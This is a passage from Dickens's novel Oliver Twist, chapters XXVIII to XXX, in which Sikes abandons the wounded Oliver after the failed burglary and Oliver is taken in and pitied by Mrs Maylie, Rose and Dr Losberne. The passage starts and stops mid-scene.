+beholding a light shining through the glass-window of the little +parlour at the back of the shop, he made bold to peep in and see +what was going forward; and when he saw what was going forward, +he was not a little surprised. + +The cloth was laid for supper; the table was covered with bread +and butter, plates and glasses; a porter-pot and a wine-bottle. +At the upper end of the table, Mr. Noah Claypole lolled +negligently in an easy-chair, with his legs thrown over one of +the arms: an open clasp-knife in one hand, and a mass of buttered +bread in the other. Close beside him stood Charlotte, opening +oysters from a barrel: which Mr. Claypole condescended to +swallow, with remarkable avidity. A more than ordinary redness +in the region of the young gentleman's nose, and a kind of fixed +wink in his right eye, denoted that he was in a slight degree +intoxicated; these symptoms were confirmed by the intense relish +with which he took his oysters, for which nothing but a strong +appreciation of their cooling properties, in cases of internal +fever, could have sufficiently accounted. + +'Here's a delicious fat one, Noah, dear!' said Charlotte; 'try +him, do; only this one.' + +'What a delicious thing is a oyster!' remarked Mr. Claypole, +after he had swallowed it. 'What a pity it is, a number of 'em +should ever make you feel uncomfortable; isn't it, Charlotte?' + +'It's quite a cruelty,' said Charlotte. + +'So it is,' acquiesced Mr. Claypole. 'An't yer fond of oysters?' + +'Not overmuch,' replied Charlotte. 'I like to see you eat 'em, +Noah dear, better than eating 'em myself.' + +'Lor!' said Noah, reflectively; 'how queer!' + +'Have another,' said Charlotte. 'Here's one with such a +beautiful, delicate beard!' + +'I can't manage any more,' said Noah. 'I'm very sorry. Come +here, Charlotte, and I'll kiss yer.' + +'What!' said Mr. Bumble, bursting into the room. 'Say that +again, sir.' + +Charlotte uttered a scream, and hid her face in her apron. Mr. +Claypole, without making any further change in his position than +suffering his legs to reach the ground, gazed at the beadle in +drunken terror. + +'Say it again, you wile, owdacious fellow!' said Mr. Bumble. 'How +dare you mention such a thing, sir? And how dare you encourage +him, you insolent minx? Kiss her!' exclaimed Mr. Bumble, in +strong indignation. 'Faugh!' + +'I didn't mean to do it!' said Noah, blubbering. 'She's always +a-kissing of me, whether I like it, or not.' + +'Oh, Noah,' cried Charlotte, reproachfully. + +'Yer are; yer know yer are!' retorted Noah. 'She's always +a-doin' of it, Mr. Bumble, sir; she chucks me under the chin, +please, sir; and makes all manner of love!' + +'Silence!' cried Mr. Bumble, sternly. 'Take yourself downstairs, +ma'am. Noah, you shut up the shop; say another word till your +master comes home, at your peril; and, when he does come home, +tell him that Mr. Bumble said he was to send a old woman's shell +after breakfast to-morrow morning. Do you hear sir? Kissing!' +cried Mr. Bumble, holding up his hands. 'The sin and wickedness +of the lower orders in this porochial district is frightful! If +Parliament don't take their abominable courses under +consideration, this country's ruined, and the character of the +peasantry gone for ever!' With these words, the beadle strode, +with a lofty and gloomy air, from the undertaker's premises. + +And now that we have accompanied him so far on his road home, and +have made all necessary preparations for the old woman's funeral, +let us set on foot a few inquires after young Oliver Twist, and +ascertain whether he be still lying in the ditch where Toby +Crackit left him. + + + + +CHAPTER XXVIII + +LOOKS AFTER OLIVER, AND PROCEEDS WITH HIS ADVENTURES + +'Wolves tear your throats!' muttered Sikes, grinding his teeth. +'I wish I was among some of you; you'd howl the hoarser for it.' + +As Sikes growled forth this imprecation, with the most desperate +ferocity that his desperate nature was capable of, he rested the +body of the wounded boy across his bended knee; and turned his +head, for an instant, to look back at his pursuers. + +There was little to be made out, in the mist and darkness; but +the loud shouting of men vibrated through the air, and the +barking of the neighbouring dogs, roused by the sound of the +alarm bell, resounded in every direction. + +'Stop, you white-livered hound!' cried the robber, shouting after +Toby Crackit, who, making the best use of his long legs, was +already ahead. 'Stop!' + +The repetition of the word, brought Toby to a dead stand-still. +For he was not quite satisfied that he was beyond the range of +pistol-shot; and Sikes was in no mood to be played with. + +'Bear a hand with the boy,' cried Sikes, beckoning furiously to +his confederate. 'Come back!' + +Toby made a show of returning; but ventured, in a low voice, +broken for want of breath, to intimate considerable reluctance as +he came slowly along. + +'Quicker!' cried Sikes, laying the boy in a dry ditch at his +feet, and drawing a pistol from his pocket. 'Don't play booty +with me.' + +At this moment the noise grew louder. Sikes, again looking +round, could discern that the men who had given chase were +already climbing the gate of the field in which he stood; and +that a couple of dogs were some paces in advance of them. + +'It's all up, Bill!' cried Toby; 'drop the kid, and show 'em your +heels.' With this parting advice, Mr. Crackit, preferring the +chance of being shot by his friend, to the certainty of being +taken by his enemies, fairly turned tail, and darted off at full +speed. Sikes clenched his teeth; took one look around; threw +over the prostrate form of Oliver, the cape in which he had been +hurriedly muffled; ran along the front of the hedge, as if to +distract the attention of those behind, from the spot where the +boy lay; paused, for a second, before another hedge which met it +at right angles; and whirling his pistol high into the air, +cleared it at a bound, and was gone. + +'Ho, ho, there!' cried a tremulous voice in the rear. 'Pincher! +Neptune! Come here, come here!' + +The dogs, who, in common with their masters, seemed to have no +particular relish for the sport in which they were engaged, +readily answered to the command. Three men, who had by this time +advanced some distance into the field, stopped to take counsel +together. + +'My advice, or, leastways, I should say, my _orders_, is,' said the +fattest man of the party, 'that we 'mediately go home again.' + +'I am agreeable to anything which is agreeable to Mr. Giles,' +said a shorter man; who was by no means of a slim figure, and who +was very pale in the face, and very polite: as frightened men +frequently are. + +'I shouldn't wish to appear ill-mannered, gentlemen,' said the +third, who had called the dogs back, 'Mr. Giles ought to know.' + +'Certainly,' replied the shorter man; 'and whatever Mr. Giles +says, it isn't our place to contradict him. No, no, I know my +sitiwation! Thank my stars, I know my sitiwation.' To tell the +truth, the little man _did_ seem to know his situation, and to know +perfectly well that it was by no means a desirable one; for his +teeth chattered in his head as he spoke. + +'You are afraid, Brittles,' said Mr. Giles. + +'I an't,' said Brittles. + +'You are,' said Giles. + +'You're a falsehood, Mr. Giles,' said Brittles. + +'You're a lie, Brittles,' said Mr. Giles. + +Now, these four retorts arose from Mr. Giles's taunt; and Mr. +Giles's taunt had arisen from his indignation at having the +responsibility of going home again, imposed upon himself under +cover of a compliment. The third man brought the dispute to a +close, most philosophically. + +'I'll tell you what it is, gentlemen,' said he, 'we're all +afraid.' + +'Speak for yourself, sir,' said Mr. Giles, who was the palest of +the party. + +'So I do,' replied the man. 'It's natural and proper to be +afraid, under such circumstances. I am.' + +'So am I,' said Brittles; 'only there's no call to tell a man he +is, so bounceably.' + +These frank admissions softened Mr. Giles, who at once owned that +_he_ was afraid; upon which, they all three faced about, and ran +back again with the completest unanimity, until Mr. Giles (who +had the shortest wind of the party, as was encumbered with a +pitchfork) most handsomely insisted on stopping, to make an +apology for his hastiness of speech. + +'But it's wonderful,' said Mr. Giles, when he had explained, +'what a man will do, when his blood is up. I should have +committed murder--I know I should--if we'd caught one of them +rascals.' + +As the other two were impressed with a similar presentiment; and +as their blood, like his, had all gone down again; some +speculation ensued upon the cause of this sudden change in their +temperament. + +'I know what it was,' said Mr. Giles; 'it was the gate.' + +'I shouldn't wonder if it was,' exclaimed Brittles, catching at +the idea. + +'You may depend upon it,' said Giles, 'that that gate stopped the +flow of the excitement. I felt all mine suddenly going away, as +I was climbing over it.' + +By a remarkable coincidence, the other two had been visited with +the same unpleasant sensation at that precise moment. It was +quite obvious, therefore, that it was the gate; especially as +there was no doubt regarding the time at which the change had +taken place, because all three remembered that they had come in +sight of the robbers at the instant of its occurance. + +This dialogue was held between the two men who had surprised the +burglars, and a travelling tinker who had been sleeping in an +outhouse, and who had been roused, together with his two mongrel +curs, to join in the pursuit. Mr. Giles acted in the double +capacity of butler and steward to the old lady of the mansion; +Brittles was a lad of all-work: who, having entered her service a +mere child, was treated as a promising young boy still, though he +was something past thirty. + +Encouraging each other with such converse as this; but, keeping +very close together, notwithstanding, and looking apprehensively +round, whenever a fresh gust rattled through the boughs; the +three men hurried back to a tree, behind which they had left +their lantern, lest its light should inform the thieves in what +direction to fire. Catching up the light, they made the best of +their way home, at a good round trot; and long after their dusky +forms had ceased to be discernible, the light might have been +seen twinkling and dancing in the distance, like some exhalation +of the damp and gloomy atmosphere through which it was swiftly +borne. + +The air grew colder, as day came slowly on; and the mist rolled +along the ground like a dense cloud of smoke. The grass was wet; +the pathways, and low places, were all mire and water; the damp +breath of an unwholesome wind went languidly by, with a hollow +moaning. Still, Oliver lay motionless and insensible on the spot +where Sikes had left him. + +Morning drew on apace. The air become more sharp and piercing, +as its first dull hue--the death of night, rather than the birth +of day--glimmered faintly in the sky. The objects which had +looked dim and terrible in the darkness, grew more and more +defined, and gradually resolved into their familiar shapes. The +rain came down, thick and fast, and pattered noisily among the +leafless bushes. But, Oliver felt it not, as it beat against +him; for he still lay stretched, helpless and unconscious, on his +bed of clay. + +At length, a low cry of pain broke the stillness that prevailed; +and uttering it, the boy awoke. His left arm, rudely bandaged in +a shawl, hung heavy and useless at his side; the bandage was +saturated with blood. He was so weak, that he could scarcely +raise himself into a sitting posture; when he had done so, he +looked feebly round for help, and groaned with pain. Trembling +in every joint, from cold and exhaustion, he made an effort to +stand upright; but, shuddering from head to foot, fell prostrate +on the ground. + +After a short return of the stupor in which he had been so long +plunged, Oliver: urged by a creeping sickness at his heart, +which seemed to warn him that if he lay there, he must surely +die: got upon his feet, and essayed to walk. His head was dizzy, +and he staggered to and fro like a drunken man. But he kept up, +nevertheless, and, with his head drooping languidly on his +breast, went stumbling onward, he knew not whither. + +And now, hosts of bewildering and confused ideas came crowding on +his mind. He seemed to be still walking between Sikes and +Crackit, who were angrily disputing--for the very words they +said, sounded in his ears; and when he caught his own attention, +as it were, by making some violent effort to save himself from +falling, he found that he was talking to them. Then, he was alone +with Sikes, plodding on as on the previous day; and as shadowy +people passed them, he felt the robber's grasp upon his wrist. +Suddenly, he started back at the report of firearms; there rose +into the air, loud cries and shouts; lights gleamed before his +eyes; all was noise and tumult, as some unseen hand bore him +hurriedly away. Through all these rapid visions, there ran an +undefined, uneasy consciousness of pain, which wearied and tormented +him incessantly. + +Thus he staggered on, creeping, almost mechanically, between the +bars of gates, or through hedge-gaps as they came in his way, +until he reached a road. Here the rain began to fall so heavily, +that it roused him. + +He looked about, and saw that at no great distance there was a +house, which perhaps he could reach. Pitying his condition, they +might have compassion on him; and if they did not, it would be +better, he thought, to die near human beings, than in the lonely +open fields. He summoned up all his strength for one last trial, +and bent his faltering steps towards it. + +As he drew nearer to this house, a feeling come over him that he +had seen it before. He remembered nothing of its details; but +the shape and aspect of the building seemed familiar to him. + +That garden wall! On the grass inside, he had fallen on his +knees last night, and prayed the two men's mercy. It was the +very house they had attempted to rob. + +Oliver felt such fear come over him when he recognised the place, +that, for the instant, he forgot the agony of his wound, and +thought only of flight. Flight! He could scarcely stand: and +if he were in full possession of all the best powers of his +slight and youthful frame, whither could he fly? He pushed +against the garden-gate; it was unlocked, and swung open on its +hinges. He tottered across the lawn; climbed the steps; knocked +faintly at the door; and, his whole strength failing him, sunk +down against one of the pillars of the little portico. + +It happened that about this time, Mr. Giles, Brittles, and the +tinker, were recruiting themselves, after the fatigues and +terrors of the night, with tea and sundries, in the kitchen. Not +that it was Mr. Giles's habit to admit to too great familiarity +the humbler servants: towards whom it was rather his wont to +deport himself with a lofty affability, which, while it +gratified, could not fail to remind them of his superior position +in society. But, death, fires, and burglary, make all men +equals; so Mr. Giles sat with his legs stretched out before the +kitchen fender, leaning his left arm on the table, while, with +his right, he illustrated a circumstantial and minute account of +the robbery, to which his bearers (but especially the cook and +housemaid, who were of the party) listened with breathless +interest. + +'It was about half-past two,' said Mr. Giles, 'or I wouldn't +swear that it mightn't have been a little nearer three, when I +woke up, and, turning round in my bed, as it might be so, (here +Mr. Giles turned round in his chair, and pulled the corner of the +table-cloth over him to imitate bed-clothes,) I fancied I heerd a +noise.' + +At this point of the narrative the cook turned pale, and asked +the housemaid to shut the door: who asked Brittles, who asked the +tinker, who pretended not to hear. + +'--Heerd a noise,' continued Mr. Giles. 'I says, at first, "This +is illusion"; and was composing myself off to sleep, when I heerd +the noise again, distinct.' + +'What sort of a noise?' asked the cook. + +'A kind of a busting noise,' replied Mr. Giles, looking round +him. + +'More like the noise of powdering a iron bar on a nutmeg-grater,' +suggested Brittles. + +'It was, when _you_ heerd it, sir,' rejoined Mr. Giles; 'but, at +this time, it had a busting sound. I turned down the clothes'; +continued Giles, rolling back the table-cloth, 'sat up in bed; +and listened.' + +The cook and housemaid simultaneously ejaculated 'Lor!' and drew +their chairs closer together. + +'I heerd it now, quite apparent,' resumed Mr. Giles. '"Somebody," +I says, "is forcing of a door, or window; what's to be done? +I'll call up that poor lad, Brittles, and save him from being +murdered in his bed; or his throat," I says, "may be cut from his +right ear to his left, without his ever knowing it."' + +Here, all eyes were turned upon Brittles, who fixed his upon the +speaker, and stared at him, with his mouth wide open, and his +face expressive of the most unmitigated horror. + +'I tossed off the clothes,' said Giles, throwing away the +table-cloth, and looking very hard at the cook and housemaid, +'got softly out of bed; drew on a pair of--' + +'Ladies present, Mr. Giles,' murmured the tinker. + +'--Of _shoes_, sir,' said Giles, turning upon him, and laying great +emphasis on the word; 'seized the loaded pistol that always goes +upstairs with the plate-basket; and walked on tiptoes to his +room. "Brittles," I says, when I had woke him, "don't be +frightened!"' + +'So you did,' observed Brittles, in a low voice. + +'"We're dead men, I think, Brittles," I says,' continued Giles; +'"but don't be frightened."' + +'_Was_ he frightened?' asked the cook. + +'Not a bit of it,' replied Mr. Giles. 'He was as firm--ah! +pretty near as firm as I was.' + +'I should have died at once, I'm sure, if it had been me,' +observed the housemaid. + +'You're a woman,' retorted Brittles, plucking up a little. + +'Brittles is right,' said Mr. Giles, nodding his head, +approvingly; 'from a woman, nothing else was to be expected. We, +being men, took a dark lantern that was standing on Brittle's +hob, and groped our way downstairs in the pitch dark,--as it +might be so.' + +Mr. Giles had risen from his seat, and taken two steps with his +eyes shut, to accompany his description with appropriate action, +when he started violently, in common with the rest of the +company, and hurried back to his chair. The cook and housemaid +screamed. + +'It was a knock,' said Mr. Giles, assuming perfect serenity. +'Open the door, somebody.' + +Nobody moved. + +'It seems a strange sort of a thing, a knock coming at such a +time in the morning,' said Mr. Giles, surveying the pale faces +which surrounded him, and looking very blank himself; 'but the +door must be opened. Do you hear, somebody?' + +Mr. Giles, as he spoke, looked at Brittles; but that young man, +being naturally modest, probably considered himself nobody, and +so held that the inquiry could not have any application to him; +at all events, he tendered no reply. Mr. Giles directed an +appealing glance at the tinker; but he had suddenly fallen +asleep. The women were out of the question. + +'If Brittles would rather open the door, in the presence of +witnesses,' said Mr. Giles, after a short silence, 'I am ready to +make one.' + +'So am I,' said the tinker, waking up, as suddenly as he had +fallen asleep. + +Brittles capitulated on these terms; and the party being +somewhat re-assured by the discovery (made on throwing open the +shutters) that it was now broad day, took their way upstairs; +with the dogs in front. The two women, who were afraid to stay +below, brought up the rear. By the advice of Mr. Giles, they all +talked very loud, to warn any evil-disposed person outside, that +they were strong in numbers; and by a master-stoke of policy, +originating in the brain of the same ingenious gentleman, the +dogs' tails were well pinched, in the hall, to make them bark +savagely. + +These precautions having been taken, Mr. Giles held on fast by +the tinker's arm (to prevent his running away, as he pleasantly +said), and gave the word of command to open the door. Brittles +obeyed; the group, peeping timorously over each other's +shoulders, beheld no more formidable object than poor little +Oliver Twist, speechless and exhausted, who raised his heavy +eyes, and mutely solicited their compassion. + +'A boy!' exclaimed Mr. Giles, valiantly, pushing the tinker into +the background. 'What's the matter with the--eh?--Why--Brittles--look +here--don't you know?' + +Brittles, who had got behind the door to open it, no sooner saw +Oliver, than he uttered a loud cry. Mr. Giles, seizing the boy +by one leg and one arm (fortunately not the broken limb) lugged +him straight into the hall, and deposited him at full length on +the floor thereof. + +'Here he is!' bawled Giles, calling in a state of great +excitement, up the staircase; 'here's one of the thieves, ma'am! +Here's a thief, miss! Wounded, miss! I shot him, miss; and +Brittles held the light.' + +'--In a lantern, miss,' cried Brittles, applying one hand to the +side of his mouth, so that his voice might travel the better. + +The two women-servants ran upstairs to carry the intelligence +that Mr. Giles had captured a robber; and the tinker busied +himself in endeavouring to restore Oliver, lest he should die +before he could be hanged. In the midst of all this noise and +commotion, there was heard a sweet female voice, which quelled it +in an instant. + +'Giles!' whispered the voice from the stair-head. + +'I'm here, miss,' replied Mr. Giles. 'Don't be frightened, miss; +I ain't much injured. He didn't make a very desperate +resistance, miss! I was soon too many for him.' + +'Hush!' replied the young lady; 'you frighten my aunt as much as +the thieves did. Is the poor creature much hurt?' + +'Wounded desperate, miss,' replied Giles, with indescribable +complacency. + +'He looks as if he was a-going, miss,' bawled Brittles, in the +same manner as before. 'Wouldn't you like to come and look at +him, miss, in case he should?' + +'Hush, pray; there's a good man!' rejoined the lady. 'Wait +quietly only one instant, while I speak to aunt.' + +With a footstep as soft and gentle as the voice, the speaker +tripped away. She soon returned, with the direction that the +wounded person was to be carried, carefully, upstairs to Mr. +Giles's room; and that Brittles was to saddle the pony and betake +himself instantly to Chertsey: from which place, he was to +despatch, with all speed, a constable and doctor. + +'But won't you take one look at him, first, miss?' asked Mr. +Giles, with as much pride as if Oliver were some bird of rare +plumage, that he had skilfully brought down. 'Not one little +peep, miss?' + +'Not now, for the world,' replied the young lady. 'Poor fellow! +Oh! treat him kindly, Giles for my sake!' + +The old servant looked up at the speaker, as she turned away, +with a glance as proud and admiring as if she had been his own +child. Then, bending over Oliver, he helped to carry him +upstairs, with the care and solicitude of a woman. + + + + +CHAPTER XXIX + +HAS AN INTRODUCTORY ACCOUNT OF THE INMATES OF THE HOUSE, TO WHICH +OLIVER RESORTED + +In a handsome room: though its furniture had rather the air of +old-fashioned comfort, than of modern elegance: there sat two +ladies at a well-spread breakfast-table. Mr. Giles, dressed with +scrupulous care in a full suit of black, was in attendance upon +them. He had taken his station some half-way between the +side-board and the breakfast-table; and, with his body drawn up +to its full height, his head thrown back, and inclined the merest +trifle on one side, his left leg advanced, and his right hand +thrust into his waist-coat, while his left hung down by his side, +grasping a waiter, looked like one who laboured under a very +agreeable sense of his own merits and importance. + +Of the two ladies, one was well advanced in years; but the +high-backed oaken chair in which she sat, was not more upright +than she. Dressed with the utmost nicety and precision, in a +quaint mixture of by-gone costume, with some slight concessions +to the prevailing taste, which rather served to point the old +style pleasantly than to impair its effect, she sat, in a stately +manner, with her hands folded on the table before her. Her eyes +(and age had dimmed but little of their brightness) were +attentively upon her young companion. + +The younger lady was in the lovely bloom and spring-time of +womanhood; at that age, when, if ever angels be for God's good +purposes enthroned in mortal forms, they may be, without impiety, +supposed to abide in such as hers. + +She was not past seventeen. Cast in so slight and exquisite a +mould; so mild and gentle; so pure and beautiful; that earth +seemed not her element, nor its rough creatures her fit +companions. The very intelligence that shone in her deep blue +eye, and was stamped upon her noble head, seemed scarcely of her +age, or of the world; and yet the changing expression of +sweetness and good humour, the thousand lights that played about +the face, and left no shadow there; above all, the smile, the +cheerful, happy smile, were made for Home, and fireside peace and +happiness. + +She was busily engaged in the little offices of the table. +Chancing to raise her eyes as the elder lady was regarding her, +she playfully put back her hair, which was simply braided on her +forehead; and threw into her beaming look, such an expression of +affection and artless loveliness, that blessed spirits might have +smiled to look upon her. + +'And Brittles has been gone upwards of an hour, has he?' asked +the old lady, after a pause. + +'An hour and twelve minutes, ma'am,' replied Mr. Giles, referring +to a silver watch, which he drew forth by a black ribbon. + +'He is always slow,' remarked the old lady. + +'Brittles always was a slow boy, ma'am,' replied the attendant. +And seeing, by the bye, that Brittles had been a slow boy for +upwards of thirty years, there appeared no great probability of +his ever being a fast one. + +'He gets worse instead of better, I think,' said the elder lady. + +'It is very inexcusable in him if he stops to play with any other +boys,' said the young lady, smiling. + +Mr. Giles was apparently considering the propriety of indulging +in a respectful smile himself, when a gig drove up to the +garden-gate: out of which there jumped a fat gentleman, who ran +straight up to the door: and who, getting quickly into the house +by some mysterious process, burst into the room, and nearly +overturned Mr. Giles and the breakfast-table together. + +'I never heard of such a thing!' exclaimed the fat gentleman. 'My +dear Mrs. Maylie--bless my soul--in the silence of the night, +too--I _never_ heard of such a thing!' + +With these expressions of condolence, the fat gentleman shook +hands with both ladies, and drawing up a chair, inquired how they +found themselves. + +'You ought to be dead; positively dead with the fright,' said the +fat gentleman. 'Why didn't you send? Bless me, my man should +have come in a minute; and so would I; and my assistant would +have been delighted; or anybody, I'm sure, under such +circumstances. Dear, dear! So unexpected! In the silence of +the night, too!' + +The doctor seemed expecially troubled by the fact of the robbery +having been unexpected, and attempted in the night-time; as if it +were the established custom of gentlemen in the housebreaking way +to transact business at noon, and to make an appointment, by +post, a day or two previous. + +'And you, Miss Rose,' said the doctor, turning to the young lady, +'I--' + +'Oh! very much so, indeed,' said Rose, interrupting him; 'but +there is a poor creature upstairs, whom aunt wishes you to see.' + +'Ah! to be sure,' replied the doctor, 'so there is. That was +your handiwork, Giles, I understand.' + +Mr. Giles, who had been feverishly putting the tea-cups to +rights, blushed very red, and said that he had had that honour. + +'Honour, eh?' said the doctor; 'well, I don't know; perhaps it's +as honourable to hit a thief in a back kitchen, as to hit your +man at twelve paces. Fancy that he fired in the air, and you've +fought a duel, Giles.' + +Mr. Giles, who thought this light treatment of the matter an +unjust attempt at diminishing his glory, answered respectfully, +that it was not for the like of him to judge about that; but he +rather thought it was no joke to the opposite party. + +'Gad, that's true!' said the doctor. 'Where is he? Show me the +way. I'll look in again, as I come down, Mrs. Maylie. That's +the little window that he got in at, eh? Well, I couldn't have +believed it!' + +Talking all the way, he followed Mr. Giles upstairs; and while he +is going upstairs, the reader may be informed, that Mr. Losberne, +a surgeon in the neighbourhood, known through a circuit of ten +miles round as 'the doctor,' had grown fat, more from good-humour +than from good living: and was as kind and hearty, and withal as +eccentric an old bachelor, as will be found in five times that +space, by any explorer alive. + +The doctor was absent, much longer than either he or the ladies +had anticipated. A large flat box was fetched out of the gig; +and a bedroom bell was rung very often; and the servants ran up +and down stairs perpetually; from which tokens it was justly +concluded that something important was going on above. At length +he returned; and in reply to an anxious inquiry after his +patient; looked very mysterious, and closed the door, carefully. + +'This is a very extraordinary thing, Mrs. Maylie,' said the +doctor, standing with his back to the door, as if to keep it +shut. + +'He is not in danger, I hope?' said the old lady. + +'Why, that would _not_ be an extraordinary thing, under the +circumstances,' replied the doctor; 'though I don't think he is. +Have you seen the thief?' + +'No,' rejoined the old lady. + +'Nor heard anything about him?' + +'No.' + +'I beg your pardon, ma'am, interposed Mr. Giles; 'but I was going +to tell you about him when Doctor Losberne came in.' + +The fact was, that Mr. Giles had not, at first, been able to +bring his mind to the avowal, that he had only shot a boy. Such +commendations had been bestowed upon his bravery, that he could +not, for the life of him, help postponing the explanation for a +few delicious minutes; during which he had flourished, in the +very zenith of a brief reputation for undaunted courage. + +'Rose wished to see the man,' said Mrs. Maylie, 'but I wouldn't +hear of it.' + +'Humph!' rejoined the doctor. 'There is nothing very alarming in +his appearance. Have you any objection to see him in my +presence?' + +'If it be necessary,' replied the old lady, 'certainly not.' + +'Then I think it is necessary,' said the doctor; 'at all events, +I am quite sure that you would deeply regret not having done so, +if you postponed it. He is perfectly quiet and comfortable now. +Allow me--Miss Rose, will you permit me? Not the slightest fear, +I pledge you my honour!' + + + + +CHAPTER XXX + +RELATES WHAT OLIVER'S NEW VISITORS THOUGHT OF HIM + +With many loquacious assurances that they would be agreeably +surprised in the aspect of the criminal, the doctor drew the +young lady's arm through one of his; and offering his disengaged +hand to Mrs. Maylie, led them, with much ceremony and +stateliness, upstairs. + +'Now,' said the doctor, in a whisper, as he softly turned the +handle of a bedroom-door, 'let us hear what you think of him. He +has not been shaved very recently, but he don't look at all +ferocious notwithstanding. Stop, though! Let me first see that +he is in visiting order.' + +Stepping before them, he looked into the room. Motioning them to +advance, he closed the door when they had entered; and gently +drew back the curtains of the bed. Upon it, in lieu of the +dogged, black-visaged ruffian they had expected to behold, there +lay a mere child: worn with pain and exhaustion, and sunk into a +deep sleep. His wounded arm, bound and splintered up, was +crossed upon his breast; his head reclined upon the other arm, +which was half hidden by his long hair, as it streamed over the +pillow. + +The honest gentleman held the curtain in his hand, and looked on, +for a minute or so, in silence. Whilst he was watching the +patient thus, the younger lady glided softly past, and seating +herself in a chair by the bedside, gathered Oliver's hair from +his face. As she stooped over him, her tears fell upon his +forehead. + +The boy stirred, and smiled in his sleep, as though these marks +of pity and compassion had awakened some pleasant dream of a love +and affection he had never known. Thus, a strain of gentle +music, or the rippling of water in a silent place, or the odour +of a flower, or the mention of a familiar word, will sometimes +call up sudden dim remembrances of scenes that never were, in +this life; which vanish like a breath; which some brief memory of +a happier existence, long gone by, would seem to have awakened; +which no voluntary exertion of the mind can ever recall. + +'What can this mean?' exclaimed the elder lady. 'This poor child +can never have been the pupil of robbers!' + +'Vice,' said the surgeon, replacing the curtain, 'takes up her +abode in many temples; and who can say that a fair outside shell +not enshrine her?' + +'But at so early an age!' urged Rose. + +'My dear young lady,' rejoined the surgeon, mournfully shaking +his head; 'crime, like death, is not confined to the old and +withered alone. The youngest and fairest are too often its +chosen victims.' + +'But, can you--oh! can you really believe that this delicate boy +has been the voluntary associate of the worst outcasts of +society?' said Rose. + +The surgeon shook his head, in a manner which intimated that he +feared it was very possible; and observing that they might +disturb the patient, led the way into an adjoining apartment. + +'But even if he has been wicked,' pursued Rose, 'think how young +he is; think that he may never have known a mother's love, or the +comfort of a home; that ill-usage and blows, or the want of +bread, may have driven him to herd with men who have forced him +to guilt. Aunt, dear aunt, for mercy's sake, think of this, +before you let them drag this sick child to a prison, which in +any case must be the grave of all his chances of amendment. Oh! +as you love me, and know that I have never felt the want of +parents in your goodness and affection, but that I might have +done so, and might have been equally helpless and unprotected +with this poor child, have pity upon him before it is too late!' + +'My dear love,' said the elder lady, as she folded the weeping +girl to her bosom, 'do you think I would harm a hair of his +head?' + +'Oh, no!' replied Rose, eagerly. + +'No, surely,' said the old lady; 'my days are drawing to their +close: and may mercy be shown to me as I show it to others! +What can I do to save him, sir?' + +'Let me think, ma'am,' said the doctor; 'let me think.' + +Mr. Losberne thrust his hands into his pockets, and took several +turns up and down the room; often stopping, and balancing himself +on his toes, and frowning frightfully. After various +exclamations of 'I've got it now' and 'no, I haven't,' and as +many renewals of the walking and frowning, he at length made a +dead halt, and spoke as follows: + +'I think if you give me a full and unlimited commission to bully +Giles, and that little boy, Brittles, I can manage it. Giles is +a faithful fellow and an old servant, I know; but you can make it +up to him in a thousand ways, and reward him for being such a +good shot besides. You don't object to that?' + +'Unless there is some other way of preserving the child,' replied +Mrs. Maylie. + +'There is no other,' said the doctor. 'No other, take my word +for it.' + +'Then my aunt invests you with full power,' said Rose, smiling +through her tears; 'but pray don't be harder upon the poor +fellows than is indispensably necessary.' + +'You seem to think,' retorted the doctor, 'that everybody is +disposed to be hard-hearted to-day, except yourself, Miss Rose. +I only hope, for the sake of the rising male sex generally, that +you may be found in as vulnerable and soft-hearted a mood by the +first eligible young fellow who appeals to your compassion; and I +wish I were a young fellow, that I might avail myself, on the +spot, of such a favourable opportunity for doing so, as the +present.' + +'You are as great a boy as poor Brittles himself,' returned Rose, +blushing. + +'Well,' said the doctor, laughing heartily, 'that is no very +difficult matter. But to return to this boy. The great point of +our agreement is yet to come. He will wake in an hour or so, I +dare say; and although I have told that thick-headed +constable-fellow downstairs that he musn't be moved or spoken to, +on peril of his life, I think we may converse with him without +danger. Now I make this stipulation--that I shall examine him in +your presence, and that, if, from what he says, we judge, and I +can show to the satisfaction of your cool reason, that he is a +real and thorough bad one (which is more than possible), he shall +be left to his fate, without any farther interference on my part, +at all events.' + +'Oh no, aunt!' entreated Rose. + +'Oh yes, aunt!' said the doctor. 'Is is a bargain?' + +'He cannot be hardened in vice,' said Rose; 'It is impossible.' + +'Very good,' retorted the doctor; 'then so much the more reason +for acceding to my proposition.' + +Finally the treaty was entered into; and the parties thereunto +sat down to wait, with some impatience, until Oliver should +awake. + +The patience of the two ladies was destined to undergo a longer +trial than Mr. Losberne had led them to expect; for hour after +hour passed on, and still Oliver slumbered heavily. It was +evening, indeed, before the kind-hearted doctor brought them the +intelligence, that he was at length sufficiently restored to be +spoken to. The boy was very ill, he said, and weak from the loss +of blood; but his mind was so troubled with anxiety to disclose +something, that he deemed it better to give him the opportunity, +than to insist upon his remaining quiet until next morning: +which he should otherwise have done. + +The conference was a long one. Oliver told them all his simple +history, and was often compelled to stop, by pain and want of +strength. It was a solemn thing, to hear, in the darkened room, +the feeble voice of the sick child recounting a weary catalogue +of evils and calamities which hard men had brought upon him. Oh! +if when we oppress and grind our fellow-creatures, we bestowed +but one thought on the dark evidences of human error, which, like +dense and heavy clouds, are rising, slowly it is true, but not +less surely, to Heaven, to pour their after-vengeance on our +heads; if we heard but one instant, in imagination, the deep +testimony of dead men's voices, which no power can stifle, and no +pride shut out; where would be the injury and injustice, the +suffering, misery, cruelty, and wrong, that each day's life +brings with it! + +Oliver's pillow was smoothed by gentle hands that night; and +loveliness and virtue watched him as he slept. He felt calm and +happy, and could have died without a murmur. + +The momentous interview was no sooner concluded, and Oliver +composed to rest again, than the doctor, after wiping his eyes, +and condemning them for being weak all at once, betook himself +downstairs to open upon Mr. Giles. And finding nobody about the +parlours, it occurred to him, that he could perhaps originate the +proceedings with better effect in the kitchen; so into the +kitchen he went. + +There were assembled, in that lower house of the domestic +parliament, the women-servants, Mr. Brittles, Mr. Giles, the +tinker (who had received a special invitation to regale himself +for the remainder of the day, in consideration of his services), +and the constable. The latter gentleman had a large staff, a +large head, large features, and large half-boots; and he looked +as if he had been taking a proportionate allowance of ale--as +indeed he had. + +The adventures of the previous night were still under discussion; +for Mr. Giles was expatiating upon his presence of mind, when the +doctor entered; Mr. Brittles, with a mug of ale in his hand, was +corroborating everything, before his superior said it. + +'Sit still!' said the doctor, waving his hand. + +'Thank you, sir, said Mr. Giles. 'Misses wished some ale to be +given out, sir; and as I felt no ways inclined for my own little +room, sir, and was disposed for company, I am taking mine among +'em here.' + +Brittles headed a low murmur, by which the ladies and gentlemen +generally were understood to express the gratification they +derived from Mr. Giles's condescension. Mr. Giles looked round +with a patronising air, as much as to say that so long as they +behaved properly, he would never desert them. + +'How is the patient 